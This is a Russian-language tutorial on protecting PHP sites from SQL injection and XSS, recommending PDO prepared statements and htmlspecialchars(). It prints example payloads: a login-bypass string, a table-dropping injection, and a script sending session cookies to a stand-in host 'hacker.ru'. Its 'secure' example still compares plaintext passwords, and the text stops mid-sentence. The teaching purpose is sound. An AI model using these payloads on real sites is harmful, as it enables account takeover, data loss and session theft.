Безопасность PHP: как защитить сайт от SQL-инъекций и XSS

Онлайн-тренажер Python для начинающих

Изучайте Python легко и без перегрузки теорией. Решайте практические задачи с автоматической проверкой, получайте подсказки на русском языке и пишите код прямо в браузере — без необходимости что-либо устанавливать.

Начать курс

Ваш PHP-сайт под прицелом: почему хакеры любят слабую безопасность

Представьте: вы потратили недели на разработку крутого блога или интернет-магазина на PHP. Сайт работает, посетители довольны. Но в один «прекрасный» день вы заходите в админку, а там — пустота. База данных удалена. Или, что ещё хуже, на главной странице красуется реклама казино, а все пользователи перенаправляются на фишинговый сайт.

Знакомая история? К сожалению, для многих начинающих (и не только) PHP-разработчиков это реальность. Самое обидное, что 90% таких атак происходят из-за двух, казалось бы, простых уязвимостей: SQL-инъекций и межсайтового скриптинга (XSS). Хакеры не взламывают сложные алгоритмы шифрования — они просто пользуются невнимательностью программистов.

В этой статье мы не будем читать скучные лекции. Мы разберёмся, как работают эти атаки «изнутри», и, самое главное, научимся ставить надёжные блоки. Вы узнаете, как сделать ваш PHP-код крепким орешком для злоумышленников. Поехали!

SQL-инъекции: когда база данных говорит голосом хакера

SQL-инъекция (SQL injection) — это тип атаки, при которой злоумышленник «внедряет» вредоносный SQL-код в запрос к базе данных. Если ваше приложение не фильтрует вводимые данные, то хакер может заставить базу данных выполнить любую команду: от кражи паролей до полного удаления таблиц.

Как выглядит уязвимый код?

Представьте простую форму входа. Код новичка часто выглядит так:

<?php
$login = $_POST['login'];
$password = $_POST['password'];

// ОПАСНО! Прямая подстановка в запрос
$query = "SELECT * FROM users WHERE login = '$login' AND password = '$password'";
$result = mysqli_query($link, $query);
?>

Кажется, всё логично. Но что произойдёт, если злоумышленник введёт в поле логина такую строку:

' OR '1'='1

Запрос превратится в:

SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '...'

Условие '1'='1' всегда истинно. Поздравляю, хакер только что вошёл в систему без пароля! А если он введёт '; DROP TABLE users; --, то ваша таблица пользователей исчезнет навсегда.

Экранирование vs. Подготовленные запросы: что выбрать?

Многие старые учебники советуют использовать функцию mysqli_real_escape_string(). Да, она экранирует спецсимволы, но это уже прошлый век. У этого метода есть недостатки:

  • Легко забыть применить функцию к каждой переменной.
  • Не защищает от всех типов инъекций (например, при работе с LIKE).
  • Код становится грязным и трудным для поддержки.

Современный и правильный способ — подготовленные запросы (prepared statements) через PDO или MySQLi. Они разделяют логику запроса и данные. База данных сначала «компилирует» шаблон запроса, а потом подставляет в него данные. Даже если хакер передаст вредоносный код, он будет воспринят как обычная строка, а не как часть SQL-команды.

Пишем защищённый код с PDO

Вот как должен выглядеть безопасный запрос к БД с использованием PDO (PHP Data Objects):

<?php
// Подключение к БД
$dsn = 'mysql:host=localhost;dbname=mydb;charset=utf8mb4';
$pdo = new PDO($dsn, 'user', 'password');

// Настройка режима ошибок (ВАЖНО для отладки, но на проде убираем)
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// Подготовка запроса (шаблон)
$stmt = $pdo->prepare("SELECT * FROM users WHERE login = :login AND password = :password");

// Привязка параметров и выполнение
$stmt->execute([
    ':login' => $_POST['login'],
    ':password' => $_POST['password']
]);

$user = $stmt->fetch();

if ($user) {
    echo "Добро пожаловать!";
} else {
    echo "Неверный логин или пароль";
}
?>

Обратите внимание на плейсхолдеры :login и :password. PDO сам экранирует данные. Всё чисто, элегантно и безопасно. Используйте этот подход для любых запросов: INSERT, UPDATE, DELETE.

XSS-атаки: как злоумышленник крадёт ваших пользователей

Межсайтовый скриптинг (XSS) — это атака, при которой злоумышленник внедряет вредоносный JavaScript-код на страницу вашего сайта. Этот код может украсть куки (cookies) сессии, перенаправить пользователя на фишинг-сайт или даже изменить содержимое страницы.

Представьте, что на вашем сайте есть форма для комментариев. Пользователь пишет отзыв, а вы выводите его на страницу. Если не фильтровать ввод, хакер может отправить такой комментарий:

<script>alert('Вы взломаны!');</script>

Когда другой посетитель откроет страницу, браузер выполнит этот скрипт, и вместо комментария появится всплывающее окно. Забавно? А теперь представьте, что скрипт крадёт куки:

<script>
document.location='http://hacker.ru/steal.php?cookie=' + document.cookie;
</script>

Готово. Злоумышленник получил сессионную куку администратора и теперь может зайти в админку под его именем.

Три типа XSS, которые нужно знать

  • Отражённый (Reflected XSS): Вредоносный код передаётся через URL (параметры GET). Атака срабатывает, только если жертва переходит по специальной ссылке.
  • Хранимый (Stored XSS): Код сохраняется на сервере (в БД) и выводится всем пользователям. Самый опасный тип, так как поражает массово.
  • DOM-based XSS: Уязвимость находится на стороне клиента, в JavaScript-коде. Сервер тут ни при чём.

Главный щит: htmlspecialchars()

В PHP есть супергерой — функция htmlspecialchars(). Она преобразует специальные HTML-символы в их безопасные HTML-сущности. Например, < превращается в &lt;,

Блоги

Рекомендаций по книгам